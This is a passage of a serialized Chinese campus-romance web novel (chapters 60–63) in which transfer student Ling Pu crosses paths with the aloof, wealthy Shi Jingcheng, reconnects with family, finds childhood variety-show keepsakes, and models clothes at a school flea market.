仿佛被选中的靶子,又仿佛被狙击手的红外瞄在了脑门上,凌蒲不由自主地拔腿想跑,却又有些腿软。 耳畔却传来宋昭兴奋的声音:“欸——那就是我和你说过的,时璟承。” 声音特大,他们之间距离也不远,即使食堂环境嘈杂,显然还是被对方听到了。 因为时璟承的眉头稍稍挑了下。 强大的气场很适合做这个动作,显得游刃有余。 “嗨。” 凌蒲硬着头皮缓解尴尬。 第60章 宋昭大惊失色,向时璟承连连点头道歉,推着凌蒲就走。 等人走远之后,时璟承把叉子撂下,在盘子里“铛”一声。 “有病?”全程没抬头的成深野不知道发生了什么,友好问候,“你不吃别人还要吃。” 他耐着性子地把粽子沿着深深的叉痕一分为二,夹到自己盘子里。 正要动筷,叉子追过来,把已经散掉的糯米团牢牢固定在盘里:“你也不许吃。” 成深野抬起头。 只见时璟承松开手,倚靠在座位上抱臂,交叠起双腿:“小心中毒。” 对于这一突如其来的关心,成深野受宠若惊。 “转性了?”他把盘子放到一边,“这么多年,也没见你关心我一句” “同学你好,可以要你的电话吗?”忽然,一个女生拿着手机,打断两人对话。 成深野停止刚才的话题,微笑:“你问的是哪个同学?” 那女生不带犹豫,转向时璟承:“这位。” “上课不带手机。”时璟承瞥一眼对面成深野,“朝他要吧,他们国际部是少爷。” 女生看过来,成深野便摸出自己的,加上联系方式。 等人走之后,他含笑看着时璟承:“是不是有病?” “你不是求之不得?”时璟承说,“我以为是你的生活习惯。” “谢谢你,不过不需要操心,我还不用你帮忙。” 成深野好歹也是个星二代,长得好,不差钱,也是挺受欢迎的。 “低级。”时璟承评价。 成深野磨了磨牙,皮笑肉不笑:“诶你知道吗,她们加上我之后一般依然缠着要把你联系方式推过去,我一般都给拒了,你说我下次是推不推?” “不。” “我怕我不小心手滑,到时候每天可能十几二十个红点轮番轰炸你,有点烦哈。” 时璟承看着成深野,成深野耸了耸肩。 “嗒”一声,一张饭卡在桌子上漂移,时璟承收回手,继续吃饭:“去刷。” 旁边还有超市,书店,整个学校里的消费都可以用这张卡。 “大气。”成深野毫不客气地拿起来,“不过我一直有个疑问。” “问。” “追你的各种类型都有,甚至性别也挺全面。里面不乏优秀的,比如商仕贤女儿那种出名的大美人,有颜有家世,追你那么久你连个回应都没有,不会——有什么难言之隐吧。”成深野调侃。 “因为我比你高级。心里只有学习。” 时璟承不和他废话,起身,从成深野手里重新拿回饭卡:“用一下,待会给你。” 他来到学校的公共电话机前面,把饭卡插进去,打电话给管家:“帮我查个人。” * “你知不知道他到底是什么人?” 宋昭后怕地告诉凌蒲,“议论他被听到,还‘嗨’,简直是一种挑衅,先不说人家必不会理你的,搞不好追究起来说不定让你退学呢!” “这么严重?可是我才刚转学过来。” 再退学的话还得再办一遍很麻烦的手续,还是不要了。 凌蒲端详着打来的菜,看上去色泽明亮,闻起来香喷喷,感觉会不错。 他拿起筷子,挑了块嫩嫩的鸡蛋放进嘴,品鉴。 调料味很重,盖过了鸡蛋本来的味道,不过中规中矩。 又挑了片肉,细细品味,发现和刚刚的特点一样,也是中规中矩。不能说难吃,但也绝对称不上好吃。 接着连换好几道菜,他终于明白了问题所在。 吃起来都是一个味道,像是同样的调料同样的锅,只是食材不同,不由皱起眉头。 完了,这个食堂是真的很难吃,发现不了闪光点的难吃。 宋昭看着表情骤变的凌蒲,以为是听到自己话的缘故,改口安慰: “当然了。你刚转过来不懂。不过之后得记得,学校里有些人是千万不能得罪的,很多事情就是他们一句话的事情” “这么可怕。”凌蒲一边听着,一边夹起最后的希望——大鸡腿。 不信鸡腿也能做得和其他菜一个味道,长得如此外酥里嫩,是个脆皮大鸡腿。 他满怀期待地咬上一口。 绝望地发现依然是同一种味道,像是始终没有洗过锅。 “这太糟糕了。”凌蒲觉得这是今天最坏的事情,难以想象要在这样的食堂用餐整整一年。 “是吧。”宋昭充满义气地拍拍凌蒲的肩膀,很高兴科普成功,“没事,这次我帮你解围了,下次你自己要小心。” 饭后,没吃饱的凌蒲在走廊里思考人生。 现在其他同学大都趴在桌上午睡,整个教学楼周遭一片安静。 这栋楼的对面还是教学楼,都是半开放式设计,可以王导外面的天空。两座之间遥遥相对,以长长的连廊连接。 他的教学楼是三楼,比较普通的班型。 二楼则是更好的班型,赵家莹告诉他每次月考之后都可以进行调整,向上一级升班。 但凌蒲没有太大的志向,对未来也没有什么非实现不可的规划。 夏天的微风拂起一点发丝,稍稍俯身低头,脸颊贴上栏杆扶手,他有点想念之前的朋友。 独自趴着惆怅一会儿,转过脸,视线里出现一双鞋。 浅色,一尘不染,但款式并非普通。凌蒲忽然想起来了,早上从那辆豪车上下来的,似乎也是这双。 午后的困意醺然,行动和思绪都变得迟缓。 他缓缓目光上移,移过笔挺修长的校服裤,是件黑色t恤,显出挺有力量感的窄腰,宽肩,以及件整理得一丝不苟的校服外套,领口翻得整整齐齐,看上去很有条理。 最后,视线才悠悠然停留在脸上。 “” 保持着一站一趴的姿势对视,风和阳光在两人之间穿过,空气中有点微妙的尴尬。 凌蒲站直:“是你。时时什么?” 起得太猛,有点小晕。 “这样危险。”时璟承面无表情,“学校强调很多次。” “噢噢,不好意思。我今天刚转来不知道。” 凌蒲原来的学校也有项不许靠近栏杆的规定,每次课间都会安排个学生会的转来转去扣分。不过那是因为栏杆老化。 没想到这么新崭崭的栏杆也有这样的规定,而且这栏杆挺高,他快一米八的身高,栏杆能到下巴,看起来不像有安全隐患。 不过对方气场太强,不容置喙。而且每个学校有每个学校的要求,凌蒲基本遵守。 他解释着,却发现有道严格的目光一直落在他脖子上。 于是凌蒲也随之低下头,因为身上穿着宽松的t恤,领口偏宽大,银色细链在白皙的肌肤上很明显一截。 这是之前转学时朋友送的分别礼物,戴上去就忘摘了。 “这个也不能戴吗?”凌蒲把领子朝上拽了拽,挡住。 时璟承移开视线。 凌蒲被抓了两项违纪的事情,恳切:“那个,我今天刚来,就不要给班级扣分了吧。” 他很真诚地求情。 现在连同学和老师都没认全,上来就给班级扣上几分,留给大家的初印象也太不好了。 凌蒲看着这位铁面无私的同学,把希望寄托在他身上。 明亮的大眼睛水光潋滟,和发色一样的瞳仁颜色如琥珀,仿佛澄澈见底,看人时就天然地带上了无辜懵懂的神色,让人很容易轻信和心软。 时璟承盯着,熟悉感如同撞钟的小锤,“嗡”一声,余音向四周扩散开来。 “要扣分的话你给我个人扣可以吗?扣多少分都行。或者罚扫整个走廊,给操场捡落叶,都可以接受的。” 见对方不为所动,凌蒲继续。 时璟承瞥他一眼:“你脸上有栏杆印子。” 凌蒲:“?” 他匆忙抬手,压了压脸颊。 时璟承垂眸,看到被按压的脸颊回弹,看起来还是很柔软。 “而且我不做第二遍自我介绍。”他大步离开,留下一个潇洒的背影。 凌蒲呆愣几秒,继续擦擦脸,泛起点尴尬的热度。 回教室之后,趴桌子上怎么都睡不着。 终于等到午休结束的铃声响起,他立刻问旁边的宋昭:“那个,你们这儿趴栏杆和戴饰品被发现,要扣多少分。” 宋昭睡得满脸红印,伸了几个懒腰,揉揉眼睛,难以置信地问凌蒲: “你在说什么?我们这儿手机都不管,谁管那么多乱七八糟,氛围很自由的好吗。栏杆?栏杆随便趴啊,你看外面不是有人趴上去了,之前上过新闻,质量第一名。不过你要实在不放心顶楼还有个四周封上的天台,学生也能上去,下回活动课带你去看看。” 凌蒲一愣。 “中午没人检查吗?” “没啊。”宋昭莫名其妙。 凌蒲回想起来,那人确实一句没说是学生会的,都是他自己以为。 他微微蜷了蜷手指。 * 时光飞逝,一天时间转瞬即逝。 凌蒲认识了不少新同学,领取了不少新课本,背上比来时重了三倍不止的书包走出教室,上面的小狮子挂坠仿佛都被累得蔫巴。 但一迈出校园大门,整个人瞬间满血复活。 因为这是上高中之后,鲜少地看见非周末的下午,天还是亮的。 以前都是强制上晚自习到很晚,这里竟然是完全自愿选择是否参加晚自习。直到踏出来的一刻,凌蒲才切实体会到是真的。 太阳没有完全落山,绚丽的霞光染红半边天空,宣告着这天并未完全结束。 喜悦冲昏头脑,当看着来接学生的车水马龙,凌蒲这才有功夫想起,凌逸飞说放学会提前联系到底来不来接他。 他把书包拿下来,仔细摸索,一顿。 也想起来了,今天没带手机。 不过遇到问题就解决,他看到附近有个拿着手机站在路边等待的学生,过去礼貌询问:“同学,手机能借我打个电话吗?” 成深野是对面国际部学生,放学时间早一些。 放学后便站在校门口等时璟承,准备邀请他一起去娱乐。冷不丁听到这句,抬起头,看到了凌蒲。 虽然身上没穿校服,但一看就是个学生,气质很干净,不会是那种拿了手机拔腿就跑的大盗。 “行。”他把手机递过去,随口道,“怎么看你有点眼熟。” “是吗,可能比较大众脸。谢谢。”凌蒲没多在意,给他爸拨电话。 他今天起得太早,中午也没休息,现在非常困,也没仔细看成深野。 成深野一听就笑了,这人和大众脸完全没关系。 看着专注打电话的凌蒲,总觉得熟悉,但就是想不起来在哪儿见过。 不过也正常,兴许是哪个社交场合有过一面之缘。但也奇怪,按说长得这么出众的人他肯定会多少有点印象。 没等他琢磨完,凌蒲已经把手机还给他:“谢了。” 神色沮丧得很明显,和刚才满脸明媚相比,简直像是瞬间乌云笼罩。 “怎么了?”成深野忍不住多问了句。 “没事。就是我爸不来接我。” 凌蒲回答。电话那头的凌逸飞很忙,只来得及说一句就挂了电话,甚至他没来得及说自己没带手机。 在这儿和谁都不太熟,他只能徒步回家。 “你家在哪,要不顺路捎你段?” 成深野主要想弄明白这人是谁,他比不得可以目中无人的时璟承,很多关系还是得靠经营。 “这不用了,毕竟不认识。”凌蒲摇摇头。 “司机绕个路的事。” 成深野硬是把他留了下来,越仔细看越觉得挺亲切,“我和你有点一见如故。” 恰在这时,时璟承终于从校门走出来。 换了个浅蓝色挂脖式耳机,乌黑的头发被风扬起一点,照例是人群目光的中心。 看到成深野,拧眉:“你怎么又来了?” 朝旁边一看,发现了呆呆的凌蒲,眉头拧得更深。 成深野立刻问:“你们认识?” 他和时璟承相处了十几年,能看出这种小幅度动作。 “不认识。”时璟承抢先冷冷道。 凌蒲跟着点头。 他丝毫不认为早上那个从迈巴赫上下来的时璟承会记得他,在他心里就是不认识的。 点完头之后,时璟承瞥他一眼。 又问成深野:“你们认识?” “也不认识,不过他今天找我借手机,我觉得一见如故。”成深野说。 时璟承冷哼一声,垂眼望着凌蒲,再次盯着脖颈上那根晃出来的银项链,觉得特乍眼。 凌蒲被他看得发毛,想起两人今天的尴尬相处,继续谢绝成深野:“真不用。我自己回去。” 他快步转身离开。 “我今天不和你去玩。回家学习。” 时璟承通知成深野,朝另一个方向离开。 成深野:“” 作者有话要说: Zev:我的传家宝玉坠呢!/流泪小狗头《 》 60-70 第61章 凌蒲独自回到家,看到餐桌上留了个条和一块小蛋糕。 纸条上是钱芷的字迹: 【妈妈今晚有舞蹈课,先吃块蛋糕垫垫】 美味的蛋糕散发着诱人的光泽,奶油顶最上方的樱桃熠熠生辉。 凌蒲把纸条折叠收好,笑纳蛋糕。 端详一番之后重新盖上盖子,先去换了身居家的短袖,宽松柔软的面料更有安全感,洗了把脸,才坐在餐桌边。 边打开叉子的塑料袋边摸过手机,点开和前一个学校好兄弟的聊天对话框。 果然,他牵挂兄弟的同时兄弟也在惦念他,一整天竟然给他发来了99+。 跳转到最上,检阅。 太多了,先返回。 第一口蛋糕终于入嘴,感动得几乎要落泪,这才是劳累学习的高中生应该享用的食物。 凌蒲忍不住拍摄一张,发送到朋友圈,配了个表情/蛋糕。 火速收获评论。 【程益添:666发朋友圈不回我消息是吧】 凌蒲:“……” 程益添就是给他发99+消息的那位。 他点回去被迫浏览,看到程益添先是简单科普了一下学校出名人物和老师,盘点红黑榜,叮嘱他不要在无意中惹了不该惹的人,接着系统介绍学校情况,最后分享了原来学校的一天。 【/粽子:感动】 凌蒲的昵称就是粽子表情。 【/粽子:好兄弟】 【/粽子:不过你不应该还在上课吗?】 程益添秒回。 【程益添:上自习,富贵险中求。怎么样今天,你见到民间校草第一名了不,比起你我怎么样?】 凌蒲回了他六个点。 【/粽子:可怕】 【/粽子:你先上课,晚上打电话聊】 【程益添:不用担心,我这么多年刀尖舔血,什么时候有被发xian】 戛然而止。 凌蒲在心中点蜡。 他掏出书包里的书,厚厚一沓落在桌上,散发着崭新的油墨味。 又拿出书架上的数沓书皮,仔细挑选,这都是他收集的系列纸质书皮,看似素色外表,但仔细观察会发现印了卡通图案。 他根据每本书的气质挑选合适的书皮,仔细包裹。 比如数学,他包上了邪恶黑暗反派的图样。 白皙漂亮的手指耐心穿梭按压,等大功告成,已经是月上梢头。 但看着整整齐齐的书本,凌蒲内心的成就感不言而喻。 欣赏许久,他打开其中一本练习册,开始写作业。 难度倒是比转学之前容易些,但由于教材不同,所以很多知识点和解题方法链接不上,有点吃力。 “咔吧”一声,门锁传来转动的声音,钱芷和凌逸飞一起回来。 “凌蒲,来吃晚饭了。” “等我写完这道题。” 才刚开始动笔的凌蒲决定先写点。 传来凌逸飞昂扬的声音:“儿子,爸去菜场给你买了蒜蓉小龙虾。你猜猜出门的时候看到了什么,那家你小时候最爱的烤鸭店竟然重新开业了!我赶紧买了半只。” 凌蒲放下笔,出发。 一家人其乐融融,围坐一桌,听凌逸飞讲着公司里的事情。 各种菜肴在凌蒲面前摆着,香气扑鼻。 钱芷和凌逸飞聊着,也说了她今天给学生上舞蹈课的趣闻。 “儿子,你也刚转学,怎么一句话都不说?”凌逸飞问,“没有新鲜事?” 被cue到的凌蒲抬起头,在脑海中回顾今天一天,最后挑了最重要的事情说: “食堂不好吃。” “怎么会这样,这可是大事。”钱芷说,“不要饿瘦了。你已经比小时候瘦了。” 小时候的凌蒲圆圆一个,虽然现在钱芷收获了帅气的儿子,但还是不时怀念那个限定迷你版。 “就是。学习已经很辛苦了,再吃不好怎么能行。”凌逸飞也附和。 钱芷和凌逸飞把菜继续朝凌蒲面前推推:“中午坚持一顿,晚上爸爸妈妈给你买好吃的。” 凌蒲点头,不可能真为了食堂转学,毕竟手续很复杂。 “晚上不用每天都这么丰盛,吃不了。一周一次就好。”凌蒲说。 “这么懂事。”钱芷给凌蒲夹了块肉,号召,“周六我们去看电影吧。顾乾的新电影要上了,今年就拍了这一部。” “行,去支持老婆的偶像。”凌逸飞语气酸酸的。 “主要是每次电影质量都很高,你们看这个海报。”钱芷给他俩看。 凌蒲一边吃着一边扫了一眼,画面看上去确实很高级,顾乾饰演的角色站在暗处,透进来的一点光影勾勒着线条和五官,气质成熟。 这部电影的热度和人气都呈现出压倒性优势。 “好。看起来很不错。”凌蒲没意见。 “粽粽你记得他吗,小时候和他一起上过节目。” “你老问。”凌逸飞说,“那真是个错误的决定,把不到三岁的小孩子送那么远,不知道当时是怎么想的,最后一期结束又哭又发烧,受罪。” 两人沉默一阵,不再提这个话题。 自从那次节目结束,虽然粽粽人气暴涨,但钱芷和凌逸飞打定主意不让他抛头露面。 钱芷也删除了账号里有关儿子的部分,重新回到了个人舞蹈账号。 目前只有当时同组的盛坻和林雪客和凌蒲保持联系,其他几乎没有任何上过电视的痕迹。在节目上也没透露大名,并不能搜索到凌蒲。 凌蒲自己倒无所谓:“过去太久了,不过偶尔能想起来一点模糊的,好像还挺开心。” “妈妈那有全集,刻在光盘上保存,节目有关的东西都收在一起,你有空的话可以看看。”钱芷端着盘子去厨房收拾。 凌蒲目前没有空,回到房间便奋笔疾书地继续写作业。 写得昏昏欲睡之际,“叮铃铃”的声音响起,把他吓一跳。 放在桌上的手机在亮。凌蒲看到号码是陌生的,想了一下,摸过蓝牙耳机,戴上。 “喂。” “蒲!我的凌蒲!” 电话那端传来压低声音的哀嚎,“我手机被条子收了。” 正是来自凌蒲的好朋友程益添。 凌蒲抿了抿唇:“这都第几个了,让你隐蔽一点。” “不管了,已在二手市场下单,不日重新到达。真倒霉。还好我已经打通了安保系统,可以继续传递消息。” “潘叔叔又让你打电话了。” 保安亭的电话一般来说不给学生使用,但凌蒲和程益添他们和潘叔叔关系好,偶尔会行个方便。 凌蒲也很想念潘叔叔。 “进贡了两个橘子,秦哥卖了个色相,现在你不在只能退而求其次了,潘叔还问你来着。你在新学校怎么样?”程益添把声音压得很小,但似乎还是被听到了,传来一两句笑骂。 “挺好的。”凌蒲在作业本上画了个小圈。 “你为什么说那个时什么的可怕,他欺负你了吗?” “没有,没说过几句话。我是说你比较可怕,发了那么多消息。”凌蒲拿过草稿纸演算。 “知己知彼,进新学校前不得了解一下情况。反正你离这些人远一点,虽说不能一棒子打死,但有部分会欺压没背景的学生,玩弄感情,私生活混乱,就是很可怕的。”程益添危言耸听。 长篇大论地叮嘱半天,事无巨细。 身边也有附和之声,他们都不放心凌蒲,毕竟看起来单纯又好骗,很容易被欺负。 凌蒲笑了笑:“知道了。” 月亮逐渐来到夜空的正中央,没有什么星星,很安静的夜晚。 到深夜,桌上的小灯才被按灭,小小的房间融入黑暗,追赶着本该属于睡眠的静谧时间。 * 第二天一早,凌蒲顶着没睡醒的摸样来到教室,却隐约感到一点压抑不住的兴奋氛围。 “怎么了?”他放下书包,问同桌。 宋昭正前前后后讲话,听此一句,给他解惑: “哦,你之前还没来。我们上学期有次跳蚤市场的活动,和国际部联动的。结果进行到一半天降大雨取消了,好容易雨停了又遇上期末考试,无限期延后。据可靠消息,会在明天下午补上。” “来得及吗?”凌蒲问,时间听起来挺紧。 “说干就干啊,上回摊子啥都弄好了,卖了一阵子,下雨给撤了,放在仓库里都是现成的。” “这样子。是卖闲置吗?那我也回家找找。” “不止。”宋昭神秘莫测,“吃的喝的玩的穿的,只有你想不到。” 此刻,班长拔腿进来,周围目光纷纷拥上去,恭恭敬敬,不亚于看皇上身边得宠的大太监。 “经打探,消息属实。”班长铿锵有力。 欢呼声此起彼伏,一片躁动不安,响彻教学楼。 “干什么呢?”路过的校长吼一嗓子。 人群重新鸦雀无声,继续早读。 但隐隐的雀跃感暗流涌动,氛围充斥着愉快。 刚一下课,就有几个女生来找凌蒲:“凌蒲同学,我们摊上缺个模特,你能加入吗?” 上回隔壁班的竞争对手就拉了几个帅哥和美女来当外援,吸引走了好多看热闹的人。这次必须痛定思痛,她们一直物色到现在,决心一雪前耻。 新同学的到来简直是雪中送炭,瞌睡了送枕头,贡献了一个各方面非常完美的模特。 “模特?怎么当模特?”凌蒲没有当过。 “其实就是站在摊前揽客,可以穿上我们的商品。我们有成套的衣服卖,是有个同学家里批发来的。”有个女生给他介绍,“我们一整个班级是一个摊位,你也可以带家里闲置的东西来卖。” 凌蒲了然,认为举手之劳,很轻松地就答应了。 “太好了。你今天放学可以留下来一会儿吗,还有几个人,我们先试着给你们找身衣服搭一下。” 第62章 放学,凌蒲留下来。 “我也要参加,一起帮个忙。“宋昭问前面的班长,“去老地方不?” “走。颜杉我们几个去仓库拿东西,你俩借支架,宋昭你和教务老师熟,你去拿钥匙。凌蒲你不用劳动,去二楼教室等我们就好,你看。” 班长赵德致办事利落,拉过凌蒲一指:“从这个楼梯下去,右拐,走两步到连廊,从连廊过去再左拐,走到头,右手边有个以前的音乐教室。很好找的。” “出发出发。” 一群人各自领取任务,热火朝天地散开。 凌蒲:“” 什么拐? 他的方向感向来不是很好,独自来到二楼,探索。 “右拐连廊连廊里怎么还有岔路口。” 凌蒲停下脚步,沉思。 好漂亮的夕阳。 天边大片大片的云朵被彩色渲染,仿佛彩色的棉花糖,淡鹅黄色棉花糖,浅粉色棉花糖,紫色棉花糖,都扯在一块。 像是渲染得出了边界,涂色涂到了半开放式连廊里,凌蒲也被包裹进去。 他不由站在栏杆前,想起宋昭的话,谨慎趴上去,仰着脑袋看。 这一看,发现对面的教室和走廊都清晰可见,经纬纵横尽收眼底。 二楼旁边的走廊站着两个人。 凌蒲不需要多加辨认,就认出其中一个正是别人口中反复提及的时璟承,实在是让人过目不忘,纵然有些脸盲的凌蒲也不得不承认。 高中生之间聊天话题简单,这类风云人物必然会被念念叨叨。 有议论就会有褒贬,宋昭和程益添的观点都是远离。凌蒲知道他们的提醒出于善意,感念这份关心。 不过对于一个人到底是怎样的,他一般都用自己的眼睛去看。 只见对面是个女生,一直在说话,时璟承则态度冷淡。 硬帅的五官和身段,但气场很不耐。 忽然,那女生捂住脸哭泣。 凌蒲睁圆双眼。 * “我不知道成深野在哪。” 时璟承重复。 “可是你总是和他在一块,怎么会不知道。”回应的还是喋喋不休,“在我们学校我就知道你认识他。你和他再说一说,问问为什么不继续追我了” “” “我和他不谈论这个话题。” “他这属于玩弄人的感情,刚认识那会儿总夸我,几万块的项链和包说送就送,我生日那天给我买了个特大的蛋糕,请我每个朋友吃。我就忙了一周没看手机,他就不回消息了。” “现在是高三。请专注学习。” 时璟承冷淡道,转身想回班级,却被一把拉住校服衣角,他脸色沉了沉。 平静地吸一口气,正想开口,忽然余光里有东西闪了一下。 一瞥,从连廊的柱子左后方发现了大半个身影。 没穿校服,发色偏浅,皮肤白皙,撑在柱子上的手看上去很紧张。 时璟承假装转回去,果然,一个圆圆的脑袋从柱子右方探出,神情严肃。流光溢彩的霞光跃动在眉目间。 给整个人偏浅淡的调调涂抹上绚丽的颜色,在背景下如同画卷。 “!” 疑似和时璟承对视上之后,凌蒲本来就圆的眼睛睁得更圆,像是猫捉老鼠里全身炸毛的动画特效,接着一串不经意地摸头发整理衣服,最后仰头看天,假装观赏了一阵风景,缩回柱子后面。 一会儿后,那双大眼睛转回来,确认到底有没有被发现。 时璟承早就收回目光,假装没看到。 对面似乎松了口气,蹑手蹑脚,身影消失在连廊。 时璟承向那个方向走了步,袖子又被牢牢扯住:“诶没想到你人这么好,听我说了这么久,其实我和他” “他在北城路卡丁车场。”时璟承打断,抽出袖子脱身。 * 凌蒲迷路了。 本来就模糊又陌生,连这个教学楼都没走过几次,左转右转完全失灵。刚刚一个小插曲,瞬间把什么左还是右全部混作一团,一通乱走。 现在已经距离放学时间过去了一阵,碰到的学生不多,连问了两个竟然都不太知道。 “自从校友给我们建了一栋活动楼之后,就不在这边用音乐教室了,不知道你说的是哪一个。”第二个同学详细地告诉凌蒲。 “好的,谢谢。” 凌蒲只得自己去找。 他光记得班长说的是什么“尽头”,只能每条路都走到底,碰壁,再回头。 回头的路上,迎面遇到离开教室的时璟承。 只见时璟承从容地背着书包,一个人,看起来是已经解决完了情感方面的问题,凌蒲挪开目光。 掠过瞬间还闻到对方身上的香水味,非常可怕,他皱皱眉头。 加快步伐,拔腿就跑。 直到另一端尽头才停下,误打误撞地真给他冲到了那个音乐教室门前。 一群人已然重新聚集,转头就看到进来的凌蒲。 头发被扬起,露出一点额头和眉目,运动之后五官的色调都浓了些,屋内都亮堂起来。 凌蒲把头发压下来:“不好意思,来晚了。” “没晚。不过我们还以为你迷路了。”赵德致是个看起来很可靠的壮汉,“正要去找你。” 苏颜杉笑道:“太低估我们凌蒲了。” “对啊,一层的功夫,致哥你太操心了。” 宋昭边说边无奈耸耸肩,看着凌蒲,解释:“致哥就是这样。别多想。” “嗯。”凌蒲若无其事地点头,“教室里耽误了。” 既然所有人都到齐,赵德致开会。 “各位,我们现在就正式开始筹备一下明天下午的跳蚤市场活动。犹记得上一回,在万全的准备下,被隔壁班级的奇袭策略打得措手不及。现在,我们要吸取经验教训,隆重欢迎凌蒲同学的加入。” 大家鼓掌。 “经过我们一致讨论认为,凌蒲同学对战他们外援将呈现碾压式胜利,不过也不能掉以轻心。现在要向你传递上次敌人的手段。” “好的。” 凌蒲充分领会赵德致的意思,承诺会尽职尽责地站在摊子前面,哪儿也不去。 等散会的时候,天色已晚。 宋昭勾住凌蒲的肩膀:“明天下午靠你了,不过别忘了回家找找有没有能卖的闲置,有的话可以带来一块儿卖,挺好玩的。” “好。” 凌蒲还是比较期待这次活动的,回家翻箱倒柜,开始找闲置。 房屋虽小,布置和内容十分丰富。显得极其温馨。 窗台上一个超大金猪储钱罐,放着自从三岁到现在攒的所有压岁钱。暖色调的窗帘半敞半掩,垂落在两盆小绿植前。 书桌不大却整洁,书本在书架上按类摆放,叠好被子的单人床看上去柔软舒适,上下两个大柜子收纳得整整齐齐。 凌蒲仔细检阅,陷入纠结。 手办周边——舍不得,朋友送的礼物——不能卖,旧书旧衣服——拿不出手。 他今天看了仓库里的货物,基本上都是新崭崭或者有别致的卖点,并非真正的二手交易市场。 凌蒲穿着宽大的居家t恤,盘腿坐在地上,沉思。 俯下身探进柜子,继续寻找,几乎翻个底朝天。 在落满灰尘的角落里,发现了个神秘的盒子。 体积挺大一个,却极其陌生,仿佛从来都没有见到过。 凌蒲皱起眉,拿过纸巾细细擦拭,思索一下,选择打开。 “砰。” 打开的瞬间,里面所有东西便迫不及待地弹射出来,仿佛尘封已久的等待后终于迎来了重见天日的时刻。 首先映入眼帘的,就是一张照片。 被塑封得很好,虽然边缘稍稍泛了点黄,但在拂去细密灰尘之后,依然清晰明亮。 上面是一个大雪天,两个小孩子。看上去关系挺好,正互相搂着肩膀笑。 凌蒲认得小时候的自己,呆呆圆圆的。 另一个—— 有点眼熟。 五官单看没什么特别出彩的,但组合在一起挺养眼,再加上发型打扮,像韩剧男二。 凌蒲立刻想到了门口借手机给他的那位,但长得像的人很多,也不能完全确定就这么巧。 貌似小时候关系还不错。 再朝下翻,看到了自己也和一个很漂亮的小女孩合了照,自己还和顾乾合了照,还和今天影视圈地位稳固的邵晚熠合过照,还有盛坻和林雪客,甚至是其他想不起来是谁的嘉宾,工作人员合过照。 看到最后,就是没有和时璟承有过同框照。 这么一推测,好像果然不太熟。 凌蒲把照片收好,旁边还有一个光碟,他没在意地搁到边上,看到底下还有不少东西。 比如一些各地的纪念品. 拿在手上,凌蒲才发现自己似乎并没有完全忘记这段记忆,还是能够想起一些地点的回忆。 里面还有节目组当时发的衣服,都是些零零落落的东西。 直到最下面,发现有一个包装精致,裹着泡沫的快递盒,上面写了好几个大大的“退回”,他皱起眉头。 外头响起钱芷的声音:“我回来了。” “凌蒲在干什么呢?”她站在门口,看着里面宛如世界大战的情形。 “没事儿,明天跳蚤市场,我找点闲置。妈,你来看这是什么啊?” 钱芷过来看了一眼,虽然时间太久,但这个东西显然让她印象深刻。 “这是你节目上拿回来的,当时说一定要给人家寄回去,都发高烧了还反反复复说这个。但是你又记不得地址,朝节目组寄了好几回都被退回来,就想着等别人要了再说。就一直忘在这里。” 钱芷放回去:“卖闲置?我那有好多东西,你去挑挑?正好让你爸给我换新的。” “对啊,怎么没想到。” 凌蒲立刻起身,跟着钱芷去主卧。 每回凌逸飞赚到钱了就给钱芷送礼物,从小就这样。 比如送钱芷一个昂贵包包,送儿子一个喜之郎果冻附赠的迷你小书包,偏偏每回凌蒲都高兴好久。 “都拿走吧。”钱芷整理出一小箱,大度地挥挥手。 “感谢!” 凌蒲收获颇丰,满意地把他房间重新收拾好,一切复原。 心情很美妙。 * “时璟承,我恨你。” 成深野拉开车门坐进去,向来一丝不苟的发型和衣领变得凌乱。 一辆定制款劳斯莱斯幻影停在北城卡丁车场门店前,引来频频回眸。 “是你告诉郝彩我在这儿——你这是什么打扮?” 只见时璟承墨镜帽子,高领外套,遮挡得严严实实。 “为了给你面子。门关上。”时璟承说,“偷了我哥的钥匙和司机。” 前排司机回过头露出憨厚的笑容打招呼,升上后排的挡板。 “想不到您对资本主义已经厌恶到如此程度了,真是很低调呢。”成深野竖起拇指。 他仰头望着星空顶,夸赞:“这真不错。” 说正事:“反正她今天这么一来,名声算是被败坏完了” 外面忽然经过一群俱乐部的玩伴,成深野降下车窗打招呼。 “怎么结束这么早,刚才在门口不是说你们要继续玩吗?” 这些人竟然比起在俱乐部的时候热络很多,方才跟着骂他渣男的那位顾左右而言他:“小成,这是你车啊?” “朋友的。”成深野说。 “什么朋友,认识一下,下次一起玩?” 成深野回绝:“不方便。” 升上车窗。 成深野继续:“也没事,下次换家店玩。主要郝彩那是什么人一看就知道,我压根对她一点意思没有,话都没说过几句。” “不感兴趣。”时璟承懒洋洋地躺在座椅上,从手边拿出一团衣服,丢给成深野,“帮我洗干净,明天还我。” 他对成深野了解,有底线,有原则。 成深野打开,一件校服外套,看上去干干净净,但不需凑近就是阵香水味,今晚已经和这味道待了好半天,瞬间皱眉。 “扔了算了,到时候给你重订一件。你真特地来接我的?”他把校服团起来。 “不然?” “够意思。” 成深野整理好自己的头发和衣服,摸出手机,浏览一下,看着网页顺口道:“宋霄主持的这档节目是真挺火的,你记得宋霄不?当年我们参加的那综艺的主持” 时璟承冷脸。 “不好意思,嘴快了。”成深野收回。 “骗子节目。”时璟承评价。 成深野转过头,忍不住笑了下。 和时璟承相处十来年,这人身上一直带着种物质生活极度满足的厌世感,唯独对那次被骗的事情耿耿于怀,到底被什么伤成这样。 脑海里浮现出幼年时璟承。 时璟承瞥过来:“你是不是笑了?” “没有。”成深野严肃,“你光说遇到了要找人干他,但几率也太小了。我早就建议过,要不动用关系找找,你直接带人打他一顿呢?” “没必要。” 时璟承冷淡,“不在意。” 第63章 在众人的期待中,跳蚤市场活动终于拉开帷幕。 整个操场上人山人海,以班级为单位的一个个大棚像一朵一朵蓝色蘑菇。平常很安静的校园充满欢声笑语。 凌蒲根据昨天会议指示,尽职尽责地站在前面。 他被苏颜杉几个女生吹了发型,折腾一番,舍弃掉卡通t恤,搭上酷炫的黑色外套,再配上优越的外貌条件和接近一米八的身高,虽然气质仍是懒洋洋,但也颇有酷帅的感觉。 路过的人频频驻足,回头率拉满。 凌蒲倒没有意识到他们回头的原因,努力像一个模特一样展示身上的衣服。 被吸引的同学络绎不绝,都朝店铺里涌入。证明方法确实奏效,毕竟每个摊位都差不多,这么一站,他们班的摊位就显眼起来。赵德致和其他人都忙前忙后,嘴角咧上去就没合过。 隔壁班气晕。 “那是哪里来的?也是请的外援吗?” “压根没见过啊,还来这一招。赵德致这厮真是老奸巨猾。” “是啊,颜杉也没提前告诉我们。” “蛮帅的,据说加联系方式不会拒,我俩也要一个要不。” “要。” 微风吹拂,凌蒲被调戏得毫无招架之力。 